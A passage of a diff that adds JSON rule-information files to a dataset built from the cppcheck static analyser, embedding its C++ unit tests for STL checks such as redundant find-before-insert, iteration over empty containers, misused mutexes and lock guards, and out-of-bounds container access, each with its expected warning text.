$.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9218 - not small type => do not warn if cpp standard is < c++17\n {\n const char code[] = \"void f1(std::set& s, const LargeType& x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP14));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP17));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n }\n\n { // #10558\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.try_emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n }\n }\n\n void checkKnownEmptyContainer() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" v.clear();\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (!v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::sort(v.begin(), v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Using sort with iterator 'v.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #1201\n \" std::vector v1{ 0, 1 };\\n\"\n \" std::vector v2;\\n\"\n \" std::copy(v1.begin(), v1.end(), v2.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:45]: (style) Using copy with iterator 'v2.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.insert(v.end(), 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(std::vector*);\\n\"\n \"};\\n\"\n \"A f() {\\n\"\n \" std::vector v;\\n\"\n \" A a(&v);\\n\"\n \" for(auto&& x:v) {}\\n\"\n \" return a;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static void f1(std::list& parameters) {\\n\"\n \" parameters.push_back(a);\\n\"\n \"}\\n\"\n \"int f2(std::list& parameters) {\\n\"\n \" f1(parameters);\\n\"\n \"}\\n\"\n \"void f3() {\\n\"\n \" std::list parameters;\\n\"\n \" int res = ::f2(parameters);\\n\"\n \" for (auto param : parameters) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace ns {\\n\"\n \" using ArrayType = std::vector;\\n\"\n \"}\\n\"\n \"using namespace ns;\\n\"\n \"static void f() {\\n\"\n \" const ArrayType arr;\\n\"\n \" for (const auto &a : arr) {}\\n\"\n \"}\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Iterating over container 'arr' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void foo(S& s) {\\n\"\n \" s.v.clear();\\n\"\n \" bar(s);\\n\"\n \" std::sort(s.v.begin(), s.v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v, int e) {\\n\"\n \" if (!v.empty()) {\\n\"\n \" if (e < 0 || true) {\\n\"\n \" if (e < 0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto& rv = v;\\n\"\n \" rv.push_back(42);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern void f(std::string&&);\\n\"\n \"static void func() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& s_ref = s;\\n\"\n \" f(std::move(s));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12757\n \" template\\n\"\n \" void clear() {}\\n\"\n \" template\\n\"\n \" std::vector get() const { return {}; }\\n\"\n \" std::vector m;\\n\"\n \"};\\n\"\n \"template<> void S::clear() { m.clear(); }\\n\"\n \"template<> std::vector S::get() const {\\n\"\n \" for (const auto& i : m) {}\\n\"\n \" return {};\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #13121\n \" static std::string s = {};\\n\"\n \" for (auto c : s) {}\\n\"\n \" if (b)\\n\"\n \" s += \\'a\\';\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\" // #13727\n \" std::vector v;\\n\"\n \" v.insert::iterator>(v.end(), it, it + 1);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMutexes() {\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:40]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::unique_lock g(m, std::defer_lock);\\n\"\n \" static std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:41]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void g();\\n\"\n \" void f() {\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" static std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:44]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" m.lock();\\n\"\n \" foo();\\n\"\n \" m.unlock();\\n\"\n \" });\\n\"\n \" m.lock();\\n\"\n \" bar();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" std::unique_lock g{m};\\n\"\n \" foo();\\n\"\n \" });\\n\"\n \" std::unique_lock g{m};\\n\"\n \" bar();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { int f = 0; auto g(f); g = g; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foobar {\\n\"\n \" int foo;\\n\"\n \" std::shared_mutex foo_mtx;\\n\"\n \" int bar;\\n\"\n \" std::shared_mutex bar_mtx;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" foobar xyz;\\n\"\n \" {\\n\"\n \" std::shared_lock shared_foo_lock(xyz.foo_mtx, std::defer_lock);\\n\"\n \" std::shared_lock shared_bar_lock(xyz.bar_mtx, std::defer_lock);\\n\"\n \" std::scoped_lock shared_multi_lock(shared_foo_lock, shared_bar_lock);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestStl)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/outOfBoundsIndexExpression.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/outOfBoundsIndexExpression.json new file mode 100644 index 0000000..56902c7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/outOfBoundsIndexExpression.json @@ -0,0 +1,22 @@ +{ + "name": "outOfBoundsIndexExpression", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 18, + "branches": 7, + "apis": 20, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 958 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkstl.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n#include \"utils.h\"\n\n#include \n#include \n\nclass TestStl : public TestFixture {\npublic:\n TestStl() : TestFixture(\"TestStl\") {}\n\nprivate:\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).severity(Severity::performance).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(outOfBounds);\n TEST_CASE(outOfBoundsSymbolic);\n TEST_CASE(outOfBoundsIndexExpression);\n TEST_CASE(outOfBoundsIterator);\n\n TEST_CASE(iterator1);\n TEST_CASE(iterator2);\n TEST_CASE(iterator3);\n TEST_CASE(iterator4);\n TEST_CASE(iterator5);\n TEST_CASE(iterator6);\n TEST_CASE(iterator7);\n TEST_CASE(iterator8);\n TEST_CASE(iterator9);\n TEST_CASE(iterator10);\n TEST_CASE(iterator11);\n TEST_CASE(iterator12);\n TEST_CASE(iterator13);\n TEST_CASE(iterator14); // #8191\n TEST_CASE(iterator15); // #8341\n TEST_CASE(iterator16);\n TEST_CASE(iterator17);\n TEST_CASE(iterator18);\n TEST_CASE(iterator19);\n TEST_CASE(iterator20);\n TEST_CASE(iterator21);\n TEST_CASE(iterator22);\n TEST_CASE(iterator23);\n TEST_CASE(iterator24);\n TEST_CASE(iterator25); // #9742\n TEST_CASE(iterator26); // #9176\n TEST_CASE(iterator27); // #10378\n TEST_CASE(iterator28); // #10450\n TEST_CASE(iterator29);\n TEST_CASE(iterator30);\n TEST_CASE(iterator31);\n TEST_CASE(iteratorExpression);\n TEST_CASE(iteratorSameExpression);\n TEST_CASE(mismatchingContainerIterator);\n TEST_CASE(eraseIteratorOutOfBounds);\n\n TEST_CASE(dereference);\n TEST_CASE(dereference_break); // #3644 - handle \"break\"\n TEST_CASE(dereference_member);\n\n TEST_CASE(STLSize);\n TEST_CASE(STLSizeNoErr);\n TEST_CASE(negativeIndex);\n TEST_CASE(negativeIndexMultiline);\n TEST_CASE(erase1);\n TEST_CASE(erase2);\n TEST_CASE(erase3);\n TEST_CASE(erase4);\n TEST_CASE(erase5);\n TEST_CASE(erase6);\n TEST_CASE(eraseBreak);\n TEST_CASE(eraseContinue);\n TEST_CASE(eraseReturn1);\n TEST_CASE(eraseReturn2);\n TEST_CASE(eraseReturn3);\n TEST_CASE(eraseGoto);\n TEST_CASE(eraseAssign1);\n TEST_CASE(eraseAssign2);\n TEST_CASE(eraseAssign3);\n TEST_CASE(eraseAssign4);\n TEST_CASE(eraseAssignByFunctionCall);\n TEST_CASE(eraseErase);\n TEST_CASE(eraseByValue);\n TEST_CASE(eraseIf);\n TEST_CASE(eraseOnVector);\n\n TEST_CASE(pushback1);\n TEST_CASE(pushback2);\n TEST_CASE(pushback3);\n TEST_CASE(pushback4);\n TEST_CASE(pushback5);\n TEST_CASE(pushback6);\n TEST_CASE(pushback7);\n TEST_CASE(pushback8);\n TEST_CASE(pushback9);\n TEST_CASE(pushback10);\n TEST_CASE(pushback11);\n TEST_CASE(pushback12);\n TEST_CASE(pushback13);\n TEST_CASE(insert1);\n TEST_CASE(insert2);\n TEST_CASE(popback1);\n\n TEST_CASE(stlBoundaries1);\n TEST_CASE(stlBoundaries2);\n TEST_CASE(stlBoundaries3);\n TEST_CASE(stlBoundaries4); // #4364\n TEST_CASE(stlBoundaries5); // #4352\n TEST_CASE(stlBoundaries6); // #7106\n\n // if (str.find(\"ab\"))\n TEST_CASE(if_find);\n TEST_CASE(if_str_find);\n\n TEST_CASE(size1);\n TEST_CASE(size2);\n TEST_CASE(size3);\n TEST_CASE(size4); // #2652 - don't warn about vector/deque\n\n // Redundant conditions..\n // if (ints.find(123) != ints.end()) ints.remove(123);\n TEST_CASE(redundantCondition1);\n\n // missing inner comparison when incrementing iterator inside loop\n TEST_CASE(missingInnerComparison1);\n TEST_CASE(missingInnerComparison2); // no FP when there is comparison\n TEST_CASE(missingInnerComparison3); // no FP when there is iterator shadowing\n TEST_CASE(missingInnerComparison4); // no FP when \"break;\" is used\n TEST_CASE(missingInnerComparison5); // Ticket #2154 - FP\n TEST_CASE(missingInnerComparison6); // #2643 - 'it=foo.insert(++it,0);'\n\n // catch common problems when using the string::c_str() function\n TEST_CASE(cstr);\n\n TEST_CASE(uselessCalls);\n TEST_CASE(stabilityOfChecks); // #4684 cppcheck crash in template function call\n\n TEST_CASE(dereferenceInvalidIterator);\n TEST_CASE(dereferenceInvalidIterator2); // #6572\n TEST_CASE(dereference_auto);\n\n TEST_CASE(loopAlgoElementAssign);\n TEST_CASE(loopAlgoAccumulateAssign);\n TEST_CASE(loopAlgoContainerInsert);\n TEST_CASE(loopAlgoIncrement);\n TEST_CASE(loopAlgoConditional);\n TEST_CASE(loopAlgoMinMax);\n TEST_CASE(loopAlgoMultipleReturn);\n\n TEST_CASE(invalidContainer);\n TEST_CASE(invalidContainerLoop);\n TEST_CASE(findInsert);\n\n TEST_CASE(checkKnownEmptyContainer);\n TEST_CASE(checkMutexes);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n Standards::cppstd_t cppstandard = Standards::CPPLatest;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, options.inconclusive).cpp(options.cppstandard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n#define checkNormal(code) checkNormal_(code, __FILE__, __LINE__)\n template\n void checkNormal_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void outOfBounds() {\n setMultiline();\n\n checkNormal(\"bool f(const int a, const int b)\\n\" // #8648\n \"{\\n\"\n \" std::cout << a << b;\\n\"\n \" return true;\\n\"\n \"}\\n\"\n \"void f(const std::vector &v)\\n\"\n \"{\\n\"\n \" if(v.size() >=2 &&\\n\"\n \" bar(v[2], v[3]) )\\n\" // v[3] is accessed\n \" {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:18]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:18]: note: Access out of bounds\\n\"\n \"[test.cpp:9:24]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[3]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:24]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in expression 's[10]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s = \\\"abcd\\\";\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in 's[10]', if 's' size is 4 and '10' is 10 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v.front();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: warning: Either the condition 'v.empty()' is redundant or expression 'v.front()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:16]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:12]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" if (v.size() == 3) {}\\n\"\n \" v[16] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[16]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:3:6]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" int i = 16;\\n\"\n \" if (v.size() == 3) {\\n\"\n \" v[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:4:10]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v, int i) {\\n\"\n \" if (v.size() == 3 || i == 16) {}\\n\"\n \" v[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::map x) {\\n\"\n \" if (x.empty()) { x[1] = 2; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" if (s.size() == 1) {\\n\"\n \" s[2] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: warning: Either the condition 's.size()==1' is redundant or size of 's' can be 1. Expression 's[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 's.size()==1'\\n\"\n \"[test.cpp:3:10]: note: Access out of bounds\\n\", errout_str());\n\n // Do not crash\n checkNormal(\"void a() {\\n\"\n \" std::string b[];\\n\"\n \" for (auto c : b)\\n\"\n \" c.data();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return {};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return std::string{};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" x = s.begin() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\", // duplicate\n errout_str());\n\n checkNormal(\"void f(int x) {\\n\"\n \" std::string s;\\n\"\n \" auto it = s.begin() + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: error: Out of bounds access in expression 's.begin()+x' because 's' is empty and 'x' may be non-zero. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[42]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[42]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\"\n \"[test.cpp:2:60]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[1]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[1]; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv)[42];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: error: Out of bounds access in expression '(*pv)[42]' because '*pv' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" ++abc[s];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9274\n 